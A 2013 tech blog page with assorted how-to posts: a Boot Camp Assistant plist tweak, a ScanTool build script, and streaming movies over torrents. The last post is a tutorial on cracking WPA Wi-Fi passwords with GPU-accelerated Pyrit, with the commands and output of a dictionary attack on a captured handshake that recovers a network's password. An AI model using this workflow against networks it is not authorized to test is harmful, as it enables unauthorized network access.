Apr 222013
 

Boot Camp Assistant requires an Optical Drive with Windows installation in it so it can install Windows.

For Macbook Air and others it supports an ISO option and it creates an usb installer.

This is how you can force Boot Camp Assistant to support the latter option for Macbooks that are supposed to have optical drives but you don’t or can’t use it:

Get the following strings from System Information:

Screen Shot 2013-04-22 at 2.01.57 PM

 

Get the selected one and the second line also (MacBookPro8,2).

Save a backup:

sudo cp /Applications/Utilities/Boot\ Camp\ Assistant.app/Contents/Info.plist /Applications/Utilities/Boot\ Camp\ Assistant.app/Contents/Info.plist.bak

Edit with root permissions (either change the permissions of the file or sudo vi) the following file:

sudo nano /Applications/Utilities/Boot\ Camp\ Assistant.app/Contents/Info.plist

add your string (mine is MBP81.0047.B27):

        DARequiredROMVersions
 
                MBP81.0047.B27 
                IM41.0055.B08
                IM42.0071.B03
                IM51.0090.B03
                IM52.0090.B03
                IM61.0093.B01
                MP11.005C.B04
                MB11.0061.B03
                MBP11.0055.B08
                MBP12.0061.B03
                MM11.0055.B08

Then find the following:

        PreUSBBootSupportedModels
 
                MacBook7,1
                MacBookAir3,2
                MacBookPro8,3
                MacPro5,1
                Macmini4,1
                iMac12,2

REMOVE the “Pre” from the and add your computer as a string, mine is MacBookPro8,2:

        USBBootSupportedModels
 
                MacBookPro8,2
                MacBook7,1
                MacBookAir3,2
                MacBookPro8,3
                MacPro5,1
                Macmini4,1
                iMac12,2

Save and exit with <Ctrl+X>, Y, <Enter>

pixelstats trackingpixel
Apr 102013
 

There are many custom protocols where a command can be an URI.
For example ical://some_new_event or mailto:john@malkovich.com or magnet://
There are system wide associations in OS X, but there’s no interface that can edit them. Only some applications can do that, but then the control is not in your hands. Here’s how:

Download RCDefaultApp - this is a preference pane for System Preferences:

Screen Shot 2013-04-10 at 11.21.17 PM

The last one, when opened, looks like this:

Screen Shot 2013-04-10 at 11.21.46 PM

Change and save!

pixelstats trackingpixel
Apr 102013
 

ScanTool is an OBD data reader. Here’s how you can run it on linux:

#!/bin/bash
#!/bin/bash
 
wget http://archive.ubuntu.com/ubuntu/pool/universe/s/scantool/scantool_1.21+dfsg.orig.tar.bz2
tar xjf scantool_1.21+dfsg.orig.tar.bz2
cd scantool-1.21
wget http://archive.ubuntu.com/ubuntu/pool/universe/s/scantool/scantool_1.21+dfsg.orig-dzcomm.tar.bz2
tar xjf scantool_1.21+dfsg.orig-dzcomm.tar.bz2
mv dzcomm-0.9.9i/ dzcomm
wget http://patch-tracker.debian.org/patch/series/dl/scantool/1.21+dfsg-3/dzcomm-usb-serial.patch
wget http://patch-tracker.debian.org/patch/series/dl/scantool/1.21+dfsg-3/scantool-linux-build.patch
wget http://patch-tracker.debian.org/patch/series/dl/scantool/1.21+dfsg-3/logging-newlines.patch
wget http://patch-tracker.debian.org/patch/series/dl/scantool/1.21+dfsg-3/drop-listports.patch
wget http://patch-tracker.debian.org/patch/series/dl/scantool/1.21+dfsg-3/allow-elm327-clones.patch
wget http://patch-tracker.debian.org/patch/series/dl/scantool/1.21+dfsg-3/drop-report-request.patch
wget http://patch-tracker.debian.org/patch/series/dl/scantool/1.21+dfsg-3/build-flags.patch
sed s_/usr/share/scantool/__ -i scantool-linux-build.patch
patch -p1 -i dzcomm-usb-serial.patch
patch -p1 -i scantool-linux-build.patch
patch -p1 -i logging-newlines.patch
patch -p1 -i drop-listports.patch
patch -p1 -i allow-elm327-clones.patch
patch -p1 -i drop-report-request.patch
patch -p1 -i build-flags.patch
cd dzcomm && sh ./fixunix.sh && ./configure && make depend && make lib; cd ..
make CFLAGS="-Idzcomm/include -DDZCOMM_DJGPP=1" LDFLAGS="-Ldzcomm/lib/unix"
cd ..
cp scantool-1.21/scantool .
cp scantool-1.21/scantool.dat .
cp scantool-1.21/codes.dat .
rm -rf scantool-1.21
rm scantool_1.21+dfsg.orig.tar.bz2

Courtesy goes to PePe.

pixelstats trackingpixel
Mar 172013
 

This is ver1 of this manual. Ver2 is updated with a better torrent client.

A 1080p movie is around 4 -8GB in size. Downloading this takes a while even on 50mbit connection.

What if it is possible to watch while downloading? So watching starts right away.

  • We need a torrent client that can download the movie file parts in order, not randomly.
  • We need a player that supports playing incomplete files.
  • We need a connection that is faster than the movie’s bitrate.

The torrent client

Previously I used BitThief. It is developed by a technology institute in Zurich. It didn’t have a polished GUI and took a little bit too much CPU while downloading.

The new client I found thanks to diimdeep. It is called qbittorrent and it is awesome.

Screen Shot 2013-03-17 at 9.24.31 PM

You can see that while downloading it downloads as a normal torrent client – the parts are downloaded randomly:

Screen Shot 2013-03-17 at 9.27.38 PM

But there is an option:

After that we can see that the rest of the file is being downloaded sequentially (blue – downloaded, green – requested):

The connection speed

How can we tell if the speed is good enough? By the estimated time of arrival (ETA):

If the movie is 1.5 hours and the ETA is 17 minutes, then the speed is sufficient.

The player

The player is and always has been mplayer. I use MplayerX because it comes with a nice OSX gui. Download and associate movie files with mplayer (avi, mkg):

Screen Shot 2013-03-17 at 9.45.59 PM

The final step is to to play the file after the downloading started:

That’s it.

Screen Shot 2013-03-17 at 9.41.25 PM

Happy watching.

pixelstats trackingpixel
Feb 252013
 

(part1)
(part2)

Cracking the WPA password with aircrack is not fast, especially in a VM. So the first thing is to do the cracking outside of BackTrack. We have to get the .cap file out of the VM. Just drag it from the VM to the desktop.

Also using just the CPU is slow. GPUs these days can crack faster than the CPU.

X Code Command Line tools only

OS X Mountain Lion comes with OpenCL tools. X Code is big and most of it is iOS and OS X dev tools which we don’t need. So only Command Line Tools can be installed. You have to have an Apple developer account to download it (it’s free):

Screen Shot 2013-02-25 at 4.03.50 PM

 

Then:

Screen Shot 2013-02-25 at 4.03.29 PM

 

 

Click Next or Continue or whatever until it is done.

 

or X Code (full version)

Full X Code can be installed from the App Store:

Screen Shot 2013-02-24 at 10.43.40 PM

 

Then Command Line Tools have to be installed. Go to XCode, then Properties:

Screen Shot 2013-02-25 at 4.13.55 PM

Install Pyrit (AMD Radeon)

Pyrit is a python tool that cracks WPA passwords.

Prerequisites. Download these in a folder named PYRIT for example:

http://libdnet.googlecode.com/files/libdnet-1.12.tgz
http://dfn.dl.sourceforge.net/sourceforge/pylibpcap/pylibpcap-0.6.4.tar.gz
http://www.secdev.org/projects/scapy/files/scapy-latest.tar.gz

Then in the folder in terminal do:

tar -xzf  libdnet-1.12.tgz
cd libdnet-1.12
./configure
make
sudo make install
cd python
sudo python setup.py install
cd ../..
 
tar -xzf pylibpcap-0.6.4.tar.gz
cd pylibpcap-0.6.4
sudo python setup.py install
cd ..
 
tar -xzf scapy-latest.tar.gz
cd scapy-2.1.0
sudo python setup.py install
cd ..

Now, it’s time for the pyrit tool:

svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit-read-only
 
cd pyrit-read-only
cd pyrit
sudo python setup.py install

Install Pyrit (NVidia)

Extra steps for NVidia:

Download nvidia driver from http://developer.nvidia.com/cuda/cuda-downloads.

If you don’t have nvidia driver, you’ll get: SystemError: Nvidia’s CUDA-compiler ‘nvcc’ can’t be found.

Check the first and second option:

Then:

cd ..
cd .. 
cd pyrit-read-only
cd cpyrit_cuda
sudo LDFLAGS=-L/usr/local/cuda/lib python setup.py install

Test Pyrit

On a macbook with ATI we get something like:

$ pyrit list_cores
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
 
The following cores seem available...
#1: 'OpenCL-Device 'ATI Radeon HD 6750M''
#2: 'CPU-Core (SSE2/AES)'
#3: 'CPU-Core (SSE2/AES)'
#4: 'CPU-Core (SSE2/AES)'
#5: 'CPU-Core (SSE2/AES)'
#6: 'CPU-Core (SSE2/AES)'
#7: 'CPU-Core (SSE2/AES)'
#8: 'CPU-Core (SSE2/AES)'

On a macbook with nVidia, we get something like:

$ pyrit list_cores
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
 
The following cores seem available...
#1: 'CUDA-Device #1 'GeForce 9400M''
#2: 'CPU-Core (SSE2)'

Note: I have no idea why when OpenCL or CUDA is installed it takes the place of one of the cores, on a quad-core we get 7 cores with OpenCL. When benchmarking it seems all cores are being utilized. I guess it’s a bug.

Benchmarking

$ pyrit benchmark
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Running benchmark (7724.0 PMKs/s)... -
 
Computed 7723.98 PMKs/s total.
#1: 'OpenCL-Device 'ATI Radeon HD 6750M'': 7180.7 PMKs/s (RTT 2.7)
#2: 'CPU-Core (SSE2/AES)': 252.6 PMKs/s (RTT 3.8)
#3: 'CPU-Core (SSE2/AES)': 247.2 PMKs/s (RTT 3.9)
#4: 'CPU-Core (SSE2/AES)': 243.6 PMKs/s (RTT 4.0)
#5: 'CPU-Core (SSE2/AES)': 246.6 PMKs/s (RTT 3.9)
#6: 'CPU-Core (SSE2/AES)': 250.8 PMKs/s (RTT 3.8)
#7: 'CPU-Core (SSE2/AES)': 253.0 PMKs/s (RTT 3.8)
#8: 'CPU-Core (SSE2/AES)': 250.4 PMKs/s (RTT 3.9)

You can see that the GPU is faster than 7 cores (they should be 8, i don’t know why one is missing)

Wordlists

Wordlists can be found here: http://blog.g0tmi1k.com/2011/06/dictionaries-wordlists.html

gfxCardStatus

Make sure you’re in Discrete Only mode.

Screen Shot 2013-02-25 at 12.38.06 AM

Otherwise pyrit will complain:

Exception in thread OpenCL-Device 'ATI Radeon HD 6750M':
[...]
SystemError: Failed to create command-queue (CL_INVALID_VALUE)
[...]
SystemError: The core 'OpenCL-Device 'ATI Radeon HD 6750M'' has died unexpectedly

 

Cracking with Pyrit

$ pyrit -r ~/Steve-01.cap --all-handshakes -i ~/WORDLISTS/4.9gb/BIG-WPA-LIST-1.txt attack_passthrough
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
 
Parsing file '/Users/c00l/Desktop/Steve-01.cap' (1/1)...
Parsed 3539 packets (3539 802.11-packets), got 115 AP(s)
 
Picked AccessPoint 00:0f:01:37:1a:a0 ('Steve') automatically.
Attacking 20 handshake(s).
Tried 140007 PMKs so far; 7550 PMKs per second.
 
The password is 'forzajuve'.

–all-handshakes means that all handshakes in the file will be used together.

It will utilize the CPU and the GPU simultaneously. And now we get around 10k attempts/sec which is a lot better than aircrack-ng in a vm.

Note: your computer will unresponsive, make sure anything CPU or GPU intensive is switched off.

Some stuff was taken from here.

Check the wifis category for more tutorials.

pixelstats trackingpixel